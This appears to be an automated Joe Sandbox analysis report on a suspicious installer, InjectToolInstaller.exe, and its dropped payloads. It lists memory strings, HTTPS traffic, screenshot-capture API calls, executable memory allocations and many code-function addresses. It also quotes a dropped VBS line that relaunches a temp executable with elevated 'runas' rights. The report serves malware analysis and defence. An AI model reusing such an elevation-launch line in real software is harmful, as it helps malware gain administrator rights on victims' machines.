Source: 21.mp3.24.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: insta313tg.exe, 00000030.00000002.604873398.0000000003241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26aqs%3Dchrome..69i57j46j0l3j46j0.427j0j7%26sou
Source: insta313tg.exe, 00000030.00000002.604873398.0000000003241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf%2B5.1%26aqs%3Dchrome..69i57j0l7.3167j0j7%26
Source: Chrome_Default.txt0.48.dr	String found in binary or memory: https://www.google.com/search?q=net
Source: Chrome_Default.txt0.48.dr	String found in binary or memory: https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i
Source: Chrome_Default.txt0.48.dr	String found in binary or memory: https://www.google.com/search?q=wmf
Source: Chrome_Default.txt0.48.dr	String found in binary or memory: https://www.google.com/sorry/index
Source: Chrome_Default.txt0.48.dr	String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a
Source: Chrome_Default.txt0.48.dr	String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf
Source: insta313tg.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: error-message.js.0.dr	String found in binary or memory: https://www.npmjs.com/forgot
Source: bugs.js.0.dr	String found in binary or memory: https://www.npmjs.com/package/$
Source: npm-install.md.0.dr	String found in binary or memory: https://www.npmjs.com/package/validate-npm-package-name#naming-rules).
Source: package.json33.0.dr	String found in binary or memory: https://www.patreon.com/feross

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49171 -> 443

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Code function: 48_2_0055AF30 GdiplusStartup,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GdipCreateBitmapFromHBITMAP,GdipGetImageEncodersSize,GdipGetImageEncoders,GdipSaveImageToFile,DeleteObject,GdipDisposeImage,DeleteObject,ReleaseDC,GdiplusShutdown,

48_2_0055AF30

System Summary

Potential malicious VBS script found (suspicious strings)

Source: C:\Windows\SysWOW64\cmd.exe

Dropped file: createobject("shell.application").shellexecute "C:\Users\user\AppData\Local\Temp\insta313tg.exe",,,"runas",1

Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Shell Automation Service HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{13709620-C279-11CE-A49E-444553540000}\ProgID

Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\SysWOW64\net1.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\SysWOW64\net.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\SysWOW64\net1.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\SysWOW64\wscript.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Memory allocated: 770B0000 page execute and read and write

Source: C:\Users\user\AppData\Local\Temp\data.exe

Code function: 24_2_000000013F29903C: wcscpy,CreateFileW,CloseHandle,wcscpy,wcscpy,CreateDirectoryW,wcscpy,wcscpy,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

24_2_000000013F29903C

Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013B176C	0_2_013B176C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013BBBFC	0_2_013BBBFC
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013DC1E1	0_2_013DC1E1
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013A42C3	0_2_013A42C3
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013C857E	0_2_013C857E
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013DC43E	0_2_013DC43E
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013DC6AA	0_2_013DC6AA
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013DC907	0_2_013DC907
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013C2971	0_2_013C2971
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013FAB22	0_2_013FAB22
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013DCB64	0_2_013DCB64
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013F4A20	0_2_013F4A20
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013DCDD0	0_2_013DCDD0
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013F4F60	0_2_013F4F60
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013C2E6D	0_2_013C2E6D
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013A1169	0_2_013A1169
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013A1202	0_2_013A1202
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013C3285	0_2_013C3285
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013F359C	0_2_013F359C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013F5410	0_2_013F5410
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013DB4B1	0_2_013DB4B1
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013C36BA	0_2_013C36BA
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013DB6E0	0_2_013DB6E0
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013A1939	0_2_013A1939
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013DB91A	0_2_013DB91A
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013F5B3F	0_2_013F5B3F
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013DBB49	0_2_013DBB49
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013A1A78	0_2_013A1A78
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013C3AEF	0_2_013C3AEF
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013DBD78	0_2_013DBD78
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013DBFB2	0_2_013DBFB2
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F29ADE8	24_2_000000013F29ADE8
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2A2550	24_2_000000013F2A2550
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2B23F0	24_2_000000013F2B23F0
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F297C4C	24_2_000000013F297C4C
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2942C4	24_2_000000013F2942C4
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2A5008	24_2_000000013F2A5008
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F29370C	24_2_000000013F29370C
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2A4704	24_2_000000013F2A4704
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2C3F44	24_2_000000013F2C3F44
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2C6760	24_2_000000013F2C6760
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2A9790	24_2_000000013F2A9790
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2BCF94	24_2_000000013F2BCF94
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2C9F68	24_2_000000013F2C9F68
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2955F8	24_2_000000013F2955F8
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2AD650	24_2_000000013F2AD650
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F292E60	24_2_000000013F292E60
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2ACE2C	24_2_000000013F2ACE2C
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2BCD18	24_2_000000013F2BCD18
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2B353C	24_2_000000013F2B353C
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2A2D78	24_2_000000013F2A2D78
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2B0DAC	24_2_000000013F2B0DAC
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2C0CDC	24_2_000000013F2C0CDC
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2A9AFC	24_2_000000013F2A9AFC
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2A3394	24_2_000000013F2A3394
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2A9378	24_2_000000013F2A9378
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F295A30	24_2_000000013F295A30
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2C6290	24_2_000000013F2C6290
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2A0120	24_2_000000013F2A0120
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2978E4	24_2_000000013F2978E4
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2A39C4	24_2_000000013F2A39C4
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2A71AC	24_2_000000013F2A71AC
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2A9060	24_2_000000013F2A9060
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2A8858	24_2_000000013F2A8858
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F29903C	24_2_000000013F29903C
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_00516DF8	42_2_00516DF8
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_005156B8	42_2_005156B8
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_00517BA8	42_2_00517BA8
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_00516DE8	42_2_00516DE8
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_020D7014	42_2_020D7014
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_020D4868	42_2_020D4868
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_020D5C1B	42_2_020D5C1B
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_020DA000	42_2_020DA000
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_020DA002	42_2_020DA002
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_020DB040	42_2_020DB040
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_020DF760	42_2_020DF760
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_020DF770	42_2_020DF770
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_020D45A0	42_2_020D45A0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_020D45B0	42_2_020D45B0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_020D4859	42_2_020D4859
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_043F0048	42_2_043F0048
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_043F0001	42_2_043F0001
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_049FAED0	42_2_049FAED0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_049FE78C	42_2_049FE78C
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_049FE228	42_2_049FE228
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_049FF373	42_2_049FF373
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_049FE7C9	42_2_049FE7C9
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04A088E0	42_2_04A088E0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04A07AB0	42_2_04A07AB0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04A0A631	42_2_04A0A631
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04A0A640	42_2_04A0A640
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04A0A7C5	42_2_04A0A7C5
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04A07160	42_2_04A07160
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04A09351	42_2_04A09351
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04C5B400	42_2_04C5B400
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04C5C5F9	42_2_04C5C5F9
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04C5EE28	42_2_04C5EE28
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04C57F98	42_2_04C57F98
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04C55D2C	42_2_04C55D2C
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04C57F88	42_2_04C57F88
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04C5B727	42_2_04C5B727
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04C50040	42_2_04C50040
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04C50006	42_2_04C50006
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04C62BA8	42_2_04C62BA8
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04C67C81	42_2_04C67C81
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04C67C90	42_2_04C67C90
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04C648B0	42_2_04C648B0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04C62B98	42_2_04C62B98
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04DF0040	42_2_04DF0040
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04DF0007	42_2_04DF0007
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_0599F378	42_2_0599F378
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_05980006	42_2_05980006
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_05980040	42_2_05980040
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_0599D240	42_2_0599D240
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0055E150	48_2_0055E150
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00596230	48_2_00596230
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0058E2D0	48_2_0058E2D0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005DE490	48_2_005DE490
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B4577	48_2_005B4577
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0057C597	48_2_0057C597
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0058C7F0	48_2_0058C7F0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005788A0	48_2_005788A0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005DE910	48_2_005DE910
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00588A00	48_2_00588A00
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00574AD0	48_2_00574AD0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0058CA80	48_2_0058CA80
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005DEB70	48_2_005DEB70
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0057EB84	48_2_0057EB84
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00592F40	48_2_00592F40
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0057AF7D	48_2_0057AF7D
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005A70F0	48_2_005A70F0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00593160	48_2_00593160
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005D5240	48_2_005D5240
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00591220	48_2_00591220
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00573330	48_2_00573330
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005A9440	48_2_005A9440
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0058B480	48_2_0058B480
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00599550	48_2_00599550
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005A7770	48_2_005A7770
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005877E0	48_2_005877E0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005DF810	48_2_005DF810
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005858A0	48_2_005858A0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0058D910	48_2_0058D910
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B19E0	48_2_005B19E0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0063BB6D	48_2_0063BB6D
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B3E4B	48_2_005B3E4B
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00575E30	48_2_00575E30
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00581ED0	48_2_00581ED0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005DA03B	48_2_005DA03B
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005DE140	48_2_005DE140
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0057E108	48_2_0057E108
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00578129	48_2_00578129
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0057E229	48_2_0057E229
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0056A290	48_2_0056A290
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005E63D0	48_2_005E63D0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005AA3E8	48_2_005AA3E8
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0063646A	48_2_0063646A
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00594457	48_2_00594457
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005524F0	48_2_005524F0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005EC4F0	48_2_005EC4F0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_006384A0	48_2_006384A0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005D6550	48_2_005D6550
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005D8610	48_2_005D8610
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005E2610	48_2_005E2610
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0059C620	48_2_0059C620
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00566689	48_2_00566689
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005AC730	48_2_005AC730
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005E68C0	48_2_005E68C0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005648E0	48_2_005648E0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00626970	48_2_00626970
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00622950	48_2_00622950
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0059A900	48_2_0059A900
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005AEAA0	48_2_005AEAA0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00582C59	48_2_00582C59
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00568C58	48_2_00568C58
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005AEC08	48_2_005AEC08
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005D6C00	48_2_005D6C00
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00632CE0	48_2_00632CE0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005AACC9	48_2_005AACC9
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005E2CF0	48_2_005E2CF0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00588C97	48_2_00588C97
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005AAF69	48_2_005AAF69
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005B0F08	48_2_005B0F08
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005D90E0	48_2_005D90E0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0057B0E9	48_2_0057B0E9
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00625100	48_2_00625100
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005ED1A0	48_2_005ED1A0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00569259	48_2_00569259
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005F1270	48_2_005F1270
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005912D8	48_2_005912D8
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0059F280	48_2_0059F280
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00583286	48_2_00583286
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005DF360	48_2_005DF360
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0064B3B9	48_2_0064B3B9
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0059B568	48_2_0059B568
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005D55B0	48_2_005D55B0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005DF600	48_2_005DF600
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0058B6C9	48_2_0058B6C9
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0064F771	48_2_0064F771
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00649824	48_2_00649824
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0061F800	48_2_0061F800
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005D9880	48_2_005D9880
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0059B939	48_2_0059B939
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005F59E1	48_2_005F59E1
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00587A47	48_2_00587A47
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00565A10	48_2_00565A10
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005ADA99	48_2_005ADA99
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0061DB2C	48_2_0061DB2C
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00607B30	48_2_00607B30
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005D5B20	48_2_005D5B20
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00573B28	48_2_00573B28
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005A9BD9	48_2_005A9BD9
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0060DC70	48_2_0060DC70
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005AFC77	48_2_005AFC77
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005DBD50	48_2_005DBD50
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005A9D39	48_2_005A9D39
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00567DC0	48_2_00567DC0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005E1E30	48_2_005E1E30
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0063BEAF	48_2_0063BEAF
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_005D3F80	48_2_005D3F80
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00611F90	48_2_00611F90

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\color-support\bin.js A797F6FEA8A46F7ADF24FB22DB2C880E8202587094BEA0F83029C81C66FB7048

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: String function: 0062FED0 appears 53 times
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: String function: 005BE530 appears 44 times
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: String function: 005E2450 appears 102 times
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: String function: 013BFF5F appears 136 times
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: String function: 013BFD30 appears 56 times
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: String function: 013E6094 appears 60 times
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: String function: 013E97DA appears 32 times

Source: InjectToolInstaller.exe

Static PE information: invalid certificate

Source: InjectToolInstaller.exe, 00000000.00000000.335517606.0000000001415000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilename7zS.sfx.exe< vs InjectToolInstaller.exe
